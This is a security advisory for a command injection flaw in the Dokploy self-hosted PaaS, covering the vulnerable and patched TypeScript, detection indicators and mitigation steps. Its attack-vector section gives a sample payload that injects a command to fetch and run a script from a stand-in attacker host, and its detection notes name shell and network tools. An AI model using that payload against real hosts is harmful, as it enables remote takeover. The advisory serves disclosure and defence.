CVE-2026-72885: Dokploy Platform RCE Vulnerability

CVE-2026-72885 Overview

CVE-2026-72885 is an OS command injection vulnerability [CWE-78] in Dokploy, a self-hostable Platform as a Service (PaaS). The flaw resides in how the dockerContextPath parameter flows from the application build UI into shell command construction without escaping. An authenticated user with application editor privileges can inject arbitrary shell commands that execute on the Dokploy host. The issue affects versions prior to 0.29.13 and is fixed in 0.29.13.

Critical Impact
Authenticated application editors can execute arbitrary commands on the Dokploy host, leading to full host compromise and pivot into managed workloads.

Affected Products

Dokploy versions prior to 0.29.13
Self-hosted Dokploy PaaS deployments
Any Dokploy instance exposing application build configuration to authenticated editors

Discovery Timeline

2026-08-10 - CVE-2026-72885 published to NVD
2026-08-11 - Last updated in NVD database

Technical Details for CVE-2026-72885

Vulnerability Analysis

Dokploy allows authenticated users to configure application builds, including a dockerContextPath value that controls the working directory for Docker build commands. The value flows from apps/dokploy/components/dashboard/application/build/show.tsx through getDockerContextPath in packages/server/src/utils/filesystem/directory.ts. It is then interpolated directly into a shell command inside packages/server/src/utils/builders/docker-file.ts and executed by execAsync.

Because the value is unquoted, an attacker can supply shell metacharacters such as ;, &&, |, or backticks to break out of the cd command and execute arbitrary payloads. Execution occurs in the context of the Dokploy server process, which typically has broad access to Docker and the underlying host.

Root Cause

The root cause is missing input sanitization when constructing shell commands. User-controlled input was concatenated into a shell string rather than passed as an argument to a safely-escaped command runner. The patch introduces shell-quote's quote function to escape user input before interpolation.

Attack Vector

Exploitation requires an authenticated account with permission to edit an application's build settings. The attacker sets dockerContextPath to a payload such as .;curl attacker/rce.sh|sh and triggers a build. When Dokploy executes the constructed cd command, the injected commands run on the host.

typescript

// Vulnerable code (before patch) in packages/server/src/utils/builders/docker-file.ts
command += `
echo "Building ${appName}" ;
cd ${dockerContextPath} || {
  echo "❌ The path ${dockerContextPath} does not exist" ;
  exit 1;
}

// Patched code — user input is escaped via shell-quote
command += `
echo ${quote([`Building ${appName}`])} ;
cd ${quote([dockerContextPath])} || {
  echo ${quote([`❌ The path ${dockerContextPath} does not exist`])} ;
  exit 1;
}

Source: Dokploy security patch commit cba0b25

Detection Methods for CVE-2026-72885

Indicators of Compromise

Unexpected child processes spawned by the Dokploy server process, particularly shells (sh, bash) invoking network utilities such as curl, wget, or nc.
Modifications to application build configuration where dockerContextPath contains shell metacharacters (;, &&, |, backticks, $(...)).
Outbound connections from the Dokploy host to unfamiliar domains initiated during build operations.
New cron jobs, systemd units, or SSH authorized keys added on the Dokploy host shortly after a build event.

Detection Strategies

Audit Dokploy application configuration records for any dockerContextPath values containing characters outside [A-Za-z0-9_./-].
Correlate Dokploy build events with process execution telemetry on the host to identify commands that do not match expected Docker build patterns.
Review Dokploy access logs for editor-role accounts that modified build settings and triggered builds in close succession.

Monitoring Recommendations

Enable process-lineage logging on the Dokploy host and alert on shells spawned by the Node.js server process.
Forward Dokploy application-mutation events to a centralized log store and retain them for post-incident review.
Monitor outbound network traffic from the Dokploy host and baseline expected build-time destinations.

How to Mitigate CVE-2026-72885

Immediate Actions Required

Upgrade Dokploy to version 0.29.13 or later without delay.
Rotate any credentials, API tokens, and SSH keys stored on the Dokploy host if unpatched exposure is suspected.
Review the roster of accounts with application editor permissions and remove unused or over-privileged users.
Inspect build history for suspicious dockerContextPath values or unexpected build failures preceding host anomalies.

Patch Information

The vulnerability is fixed in Dokploy 0.29.13. The fix introduces the shell-quote library and wraps user-controlled inputs in quote([...]) before interpolation into shell commands. Details are available in the GitHub Security Advisory GHSA-qjrc-g63x-qhp9, Pull Request #4860, and the v0.29.13 release notes.

Workarounds

Restrict application editor permissions to fully trusted operators until the upgrade is applied.
Place the Dokploy management interface behind a VPN or authenticated reverse proxy to limit exposure.
Run the Dokploy server under a dedicated low-privilege account with restricted host access where feasible.

bash

# Upgrade Dokploy to the patched release
curl -sSL https://dokploy.com/install.sh | sh

# Or, for docker-based deployments, pull the fixed image
docker pull dokploy/dokploy:0.29.13
docker service update --image dokploy/dokploy:0.29.13 dokploy

# Verify the installed version
dokploy --version